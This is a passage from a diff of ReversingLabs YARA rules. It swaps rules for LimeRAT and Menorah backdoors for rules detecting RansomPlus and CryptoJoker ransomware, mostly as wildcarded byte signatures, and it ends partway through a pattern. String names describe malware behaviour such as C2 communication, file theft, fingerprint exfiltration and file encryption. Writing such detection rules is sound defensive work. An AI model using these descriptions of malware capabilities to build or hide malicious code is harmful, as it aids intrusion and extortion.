?? ?? ?? ?? 25 6F ?? ?? ?? ?? 13 ?? 6F ?? ?? ?? ?? 13 ?? 28 + ?? ?? ?? ?? 72 ?? ?? ?? ?? 08 20 ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? + 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 25 11 ?? 16 11 + ?? 8E 69 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 8D ?? ?? ?? ?? 13 ?? 1C 8D ?? ?? ?? ?? 25 16 + 72 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? + A2 25 1A 72 ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 13 ?? 1F ?? 8D ?? ?? ?? ?? 25 16 72 + ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 72 ?? ?? ?? ?? A2 + 25 1A 72 ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 25 1C 72 ?? ?? ?? ?? A2 25 1D 72 ?? ?? + ?? ?? A2 25 1E 72 ?? ?? ?? ?? A2 25 1F ?? 72 ?? ?? ?? ?? A2 25 1F ?? 72 } - $get_system_information = { - 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 83 EC ?? A1 ?? ?? ?? ?? 33 C4 89 44 24 ?? - 53 55 56 57 A1 ?? ?? ?? ?? 33 C4 50 8D 44 24 ?? 64 A3 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? - 33 F6 BD ?? ?? ?? ?? 83 CF ?? E8 ?? ?? ?? ?? 66 A1 ?? ?? ?? ?? 8A 0D ?? ?? ?? ?? 66 - 89 44 24 ?? 88 4C 24 ?? FF 15 ?? ?? ?? ?? 89 44 24 ?? 3B C6 74 ?? 8D 9B ?? ?? ?? ?? - A8 ?? 74 ?? 8D 54 24 ?? 52 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? - 89 74 24 ?? FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4C 24 ?? 89 - 7C 24 ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? FE 44 24 ?? D1 E8 89 44 24 ?? 75 ?? 8D 4C 24 - ?? 51 E8 ?? ?? ?? ?? 8D 54 24 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF D3 83 ED ?? 0F - 85 ?? ?? ?? ?? 8B 4C 24 ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5D 5B 8B 4C 24 ?? 33 CC E8 - ?? ?? ?? ?? 83 C4 ?? C3 + $find_files_p2 = { + A2 13 ?? 1F ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 6F ?? + ?? ?? ?? 6F ?? ?? ?? ?? 1C 32 ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? + 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? + 72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 13 ?? + 16 13 ?? 2B ?? 11 ?? 11 ?? 9A 13 ?? 11 ?? 72 ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 6F ?? ?? + ?? ?? 2C ?? 12 ?? 11 ?? 8E 69 17 58 28 ?? ?? ?? ?? 11 ?? 11 ?? 16 6F ?? ?? ?? ?? 11 ?? + A2 2B } condition: - uint16( 0 ) == 0x5A4D and ( $connect_to_c2 ) and ( all of ( $find_files_and_get_file_data_p* ) ) and ( $receive_data_and_write_to_file ) and ( $get_system_information ) + uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $internal_encrypt_file ) } -rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Limerat : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Ransomplus : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects LimeRAT backdoor." + description = "Yara rule that detects RansomPlus ransomware." author = "ReversingLabs" - id = "c2ef6f27-3fb8-55f4-97a6-9e25a3d1ce49" - date = "2024-03-04" - modified = "2024-03-04" + id = "ee96eab6-104d-560f-adae-6d5f0ba5d469" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/ByteCode.MSIL.Backdoor.LimeRAT.yara#L1-L91" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.RansomPlus.yara#L1-L95" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "03eaa2ac41950f036601222b32a28c03aae3b3445501e988e2f87e231a1a1522" + logic_hash = "8ab18c6bcb939eac0e74f015dea773141b5086c5fcb4783666eeac1f395bc208" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "LimeRAT" + tc_detection_type = "Ransomware" + tc_detection_name = "RansomPlus" tc_detection_factor = 5 importance = 25 strings: - $persistence_mechanism = { - 02 2C ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? - 28 ?? ?? ?? ?? 16 16 15 28 ?? ?? ?? ?? 26 2B ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? - ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 28 ?? ?? - ?? ?? 28 ?? ?? ?? ?? DE - } - $crypto_miner = { - 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 8E 69 16 31 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? - ?? ?? 0B 07 73 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0C 08 6F ?? ?? ?? ?? 0D 2B ?? 09 6F ?? ?? - ?? ?? 74 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 0A DE ?? 09 6F ?? ?? ?? ?? 2D ?? DE ?? 09 2C ?? 09 - 6F ?? ?? ?? ?? DC DE ?? 25 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? DE ?? 28 ?? ?? ?? ?? - 0A DE ?? 25 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? DE ?? 06 + $find_files_1_0 = { + 55 8B EC 83 E4 ?? 83 EC ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 E8 ?? ?? ?? ?? 83 EC ?? + 8B CC 6A ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 01 ?? E8 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 8B CC 6A ?? 68 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? + ?? ?? ?? C6 01 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CC 6A ?? 68 ?? ?? ?? ?? C7 41 ?? + ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C6 01 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B CC 6A ?? + 68 ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? C6 01 ?? E8 ?? ?? ?? ?? E8 + ?? ?? ?? ?? 83 C4 ?? 8B E5 5D C2 } - $downloader = { - 73 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 7E - ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? - ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2C ?? 06 7E ?? ?? ?? ?? 07 6F ?? - ?? ?? ?? 07 28 ?? ?? ?? ?? 26 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 2B ?? - 06 7E ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 07 28 ?? ?? ?? ?? 26 00 06 6F ?? ?? ?? ?? 14 0A - DE ?? 25 28 ?? ?? ?? ?? 0C 28 ?? ?? ?? ?? DE ?? DE ?? 25 28 ?? ?? ?? ?? 0D 28 ?? ?? - ?? ?? DE + $find_files_1_1 = { + 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 78 ?? ?? 72 ?? 8B 00 8D 8D ?? ?? ?? ?? 51 50 FF 15 ?? + ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? 83 F9 ?? 72 ?? 8B 95 ?? ?? ?? ?? + 41 81 F9 ?? ?? ?? ?? 72 ?? F6 C2 ?? 74 ?? E8 ?? ?? ?? ?? 8B 42 ?? 3B C2 72 ?? E8 ?? + ?? ?? ?? 2B D0 83 FA ?? 73 ?? E8 ?? ?? ?? ?? 83 FA ?? 76 ?? E8 ?? ?? ?? ?? 8B D0 52 + E8 ?? ?? ?? ?? 83 C4 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? + C6 85 ?? ?? ?? ?? ?? 83 FB ?? 75 ?? 53 FF 15 ?? ?? ?? ?? 32 DB E9 ?? ?? ?? ?? C7 85 + ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 85 ?? + ?? ?? ?? C6 45 ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? + ?? ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 } - $network_communication_p1 = { - 16 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 0B 28 ?? ?? - ?? ?? DE ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 0C 28 ?? ?? ?? - ?? DE ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 0D 28 ?? ?? ?? ?? - DE ?? 00 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? - 7E ?? ?? ?? ?? 20 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 15 6F ?? ?? ?? ?? 7E ?? - ?? ?? ?? 15 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 73 ?? - ?? ?? ?? 13 ?? 11 ?? 11 ?? 6F ?? ?? ?? ?? 11 ?? 14 72 ?? ?? ?? ?? 17 8D ?? ?? ?? ?? - 25 16 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 14 14 14 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? - ?? ?? ?? 15 16 28 ?? ?? ?? ?? 13 ?? 11 ?? 16 9A 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 26 11 - ?? 73 ?? ?? ?? ?? 17 11 ?? 8E 69 6F ?? ?? ?? ?? 9A 28 ?? ?? ?? ?? 80 ?? ?? ?? ?? 11 - ?? 6F ?? ?? ?? ?? DE ?? 25 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? DE ?? DE ?? 11 ?? 2C - ?? 11 ?? 6F ?? ?? ?? ?? DC 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? - ?? 17 80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 1F ?? 8D ?? ?? ?? ?? 25 16 72 ?? - ?? ?? ?? A2 25 17 7E ?? ?? ?? ?? A2 25 18 28 ?? ?? ?? ?? A2 25 19 7E ?? ?? ?? ?? A2 + $find_files_1_2 = { + 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? + 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? + 8A 10 3A 11 75 ?? 84 D2 74 ?? 8A 50 ?? 3A 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 84 D2 75 ?? + 33 C0 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? C7 85 ?? ?? + ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 75 ?? 33 C9 EB + ?? 8D 8D ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 51 8D 85 ?? ?? ?? ?? 50 8D + 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 55 ?? 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 83 EC ?? + 8B CC C7 41 ?? ?? ?? ?? ?? C7 41 ?? ?? ?? ?? ?? 83 79 ?? ?? 72 ?? 8B 01 EB ?? 8B C1 + 6A ?? C6 00 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? C6 + 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? + ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 75 ?? 33 C9 EB ?? 8D 8D + ?? ?? ?? ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA 51 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? + ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 85 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 8D 8D ?? ?? ?? + ?? 8B 95 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 83 FE ?? 0F 43 C2 0F 43 CA 89 85 ?? ?? ?? ?? + 8B 85 ?? ?? ?? ?? 03 C1 83 FE ?? 8B F8 0F 43 DA 33 C9 2B FB 33 F6 3B D8 0F 47 F9 85 + FF 74 ?? 0F BE 04 33 50 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C4 ?? 88 04 31 46 3B F7 + 75 ?? 33 C0 89 85 ?? ?? ?? ?? 8B 94 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 + 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 80 3A ?? 75 ?? 33 C9 EB ?? 8B CA 8D + 71 ?? 8A 01 41 84 C0 75 ?? 2B CE 51 52 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? + 8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 83 F9 ?? 0F + 43 C2 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 0F 43 C2 03 85 ?? ?? ?? ?? 83 F9 ?? 8B F8 + 0F 43 DA 33 F6 2B FB 3B D8 0F 47 FE 85 FF 74 } - $network_communication_p2 = { - 25 1A 28 ?? ?? ?? ?? A2 25 1B 7E ?? ?? ?? ?? A2 25 1C 72 ?? ?? ?? ?? A2 25 1D 7E ?? - ?? ?? ?? A2 25 1E 28 ?? ?? ?? ?? A2 25 1F ?? 72 ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? - ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? - A2 25 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? A2 - 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 - 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? 8C ?? ?? - ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? - ?? A2 25 1F ?? 72 ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 72 ?? ?? ?? ?? - A2 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 - 25 1F ?? 7E ?? ?? ?? ?? A2 25 1F ?? 7E ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? - 7E ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 2B ?? 7E + $encrypt_files = { + 8A 01 41 84 C0 75 ?? 2B CA C6 85 ?? ?? ?? ?? ?? 33 C0 88 84 05 ?? ?? ?? ?? 40 3D ?? + ?? ?? ?? 72 ?? 33 F6 8B C6 33 D2 F7 F1 8A 04 3A 02 C1 30 84 35 ?? ?? ?? ?? 46 81 FE + ?? ?? ?? ?? 72 ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? + 68 ?? ?? ?? ?? 8D 55 ?? 8B F8 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? + 8D 8D ?? ?? ?? ?? 68 ?? ?? ?? ?? 0F 43 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B + D8 85 FF 74 ?? 85 DB 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 57 68 ?? ?? ?? ?? + 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? 8B F0 8D 85 ?? + ?? ?? ?? 50 E8 ?? ?? ?? ?? 53 56 8D 85 ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 57 E8 ?? + ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? + 83 7D ?? ?? 8D 45 ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 83 F8 + ?? 72 ?? 8B 8D ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B + 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? + E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? C7 85 ?? ?? ?? ?? ?? ?? ?? + ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 83 F8 ?? 72 ?? 8B 4D ?? 40 3D + ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B C1 72 ?? E8 ?? ?? ?? ?? + 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? + ?? ?? 83 C4 ?? 8B 45 ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 F8 + ?? 72 ?? 8B 4D ?? 40 3D ?? ?? ?? ?? 72 ?? F6 C1 ?? 74 ?? E8 ?? ?? ?? ?? 8B 41 ?? 3B + C1 72 ?? E8 ?? ?? ?? ?? 2B C8 83 F9 ?? 73 ?? E8 ?? ?? ?? ?? 83 F9 ?? 76 ?? E8 ?? ?? + ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 5B 8B + 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 } condition: - uint16( 0 ) == 0x5A4D and ( $persistence_mechanism ) and ( $crypto_miner ) and ( $downloader ) and ( all of ( $network_communication_p* ) ) + uint16( 0 ) == 0x5A4D and $find_files_1_0 and $find_files_1_1 and $find_files_1_2 and $encrypt_files } -rule REVERSINGLABS_Bytecode_MSIL_Backdoor_Menorah : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Win32_Ransomware_Cryptojoker : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Yara rule that detects Menorah backdoor." + description = "Yara rule that detects CryptoJoker ransomware." author = "ReversingLabs" - id = "4f13a6c6-bd97-58aa-ac3b-399866b5c63b" - date = "2024-05-10" - modified = "2024-05-10" + id = "50a9280b-a352-5a2b-acee-5690e509dfd7" + date = "2020-06-26" + modified = "2020-07-15" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/ByteCode.MSIL.Backdoor.Menorah.yara#L1-L169" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.CryptoJoker.yara#L1-L140" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "770aefca192ceb3a778c0b1259105ace8e64cb35d0c34acb15c45fb6f22ad94b" + logic_hash = "42ee1e63ada1ae986f43a1300eda0b1fa7b54c26be31ef5637bb321defffbe40" score = 75 quality = 90 tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" category = "MALWARE" - tc_detection_type = "Backdoor" - tc_detection_name = "Menorah" + tc_detection_type = "Ransomware" + tc_detection_name = "CryptoJoker" tc_detection_factor = 5 importance = 25 strings: - $send_fingerprint_to_c2_p1 = { - 28 ?? ?? ?? ?? 04 6F ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A - 73 ?? ?? ?? ?? 19 1F 0E 6F ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 1F 5B 13 ?? 12 ?? 28 ?? ?? - ?? ?? 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 5D 13 ?? - 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 1B 8D ?? ?? ?? ?? 25 16 1F 5B 13 ?? 12 ?? 28 ?? - ?? ?? ?? A2 25 17 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 06 A2 25 19 1F 40 13 ?? - 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 5D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 6F - ?? ?? ?? ?? 0B 28 ?? ?? ?? ?? 07 6F ?? ?? ?? ?? 0C 72 ?? ?? ?? ?? 0D 1F 3F 13 ?? 12 - ?? 28 ?? ?? ?? ?? 17 16 28 ?? ?? ?? ?? 1F 3D 13 ?? 12 ?? 28 ?? ?? ?? ?? 17 16 28 ?? - ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 03 11 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 74 ?? ?? ?? ?? - 13 ?? 11 ?? 1F 50 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 4F 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 53 - 13 ?? 12 ?? 28 ?? ?? ?? ?? 1F 54 13 ?? 12 ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? - ?? ?? 11 ?? 1F 21 8D ?? ?? ?? ?? 25 16 1F 61 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F - 70 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 1F 70 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F - 6C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F - 63 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 61 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 1F - 74 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 09 - } - $send_fingerprint_to_c2_p2 = { - 1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 6E 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 - 1F 0B 1F 2F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 78 13 ?? 12 ?? 28 ?? ?? ?? ?? - A2 25 1F 0D 1F 2D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0E 1F 77 13 ?? 12 ?? 28 ?? ?? - ?? ?? A2 25 1F 0F 1F 77 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 10 1F 77 13 ?? 12 ?? 28 - ?? ?? ?? ?? A2 25 1F 11 1F 2D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 12 1F 66 13 ?? 12 - ?? 28 ?? ?? ?? ?? A2 25 1F 13 1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 14 1F 72 13 - ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 15 1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 16 1F - 2D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 17 1F 75 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F - 18 1F 72 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 19 1F 6C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 - 25 1F 1A 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1B 1F 6E 13 ?? 12 ?? 28 ?? ?? ?? - ?? A2 25 1F 1C 1F 63 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1D 1F 6F 13 ?? 12 ?? 28 ?? - ?? ?? ?? A2 25 1F 1E 1F 64 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1F 1F 65 13 ?? 12 ?? - 28 ?? ?? ?? ?? A2 25 1F 20 1F 64 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 6F ?? - ?? ?? ?? 11 ?? 08 8E 69 6A 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 25 08 16 08 8E 69 6F - ?? ?? ?? ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 25 - 6F ?? ?? ?? ?? 0D 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 13 ?? DE ?? 26 7E ?? ?? ?? ?? 13 - ?? DE ?? 11 + $call_encrypt = { + 2B 02 26 16 FE 09 00 00 FE 09 01 00 FE 09 02 00 6F ?? ?? ?? ?? 2A } - $get_files_and_directories_p1 = { - 11 ?? 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 8E 69 17 31 ?? - 11 ?? 17 9A 13 ?? 11 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 1F 0F 8D - ?? ?? ?? ?? 25 16 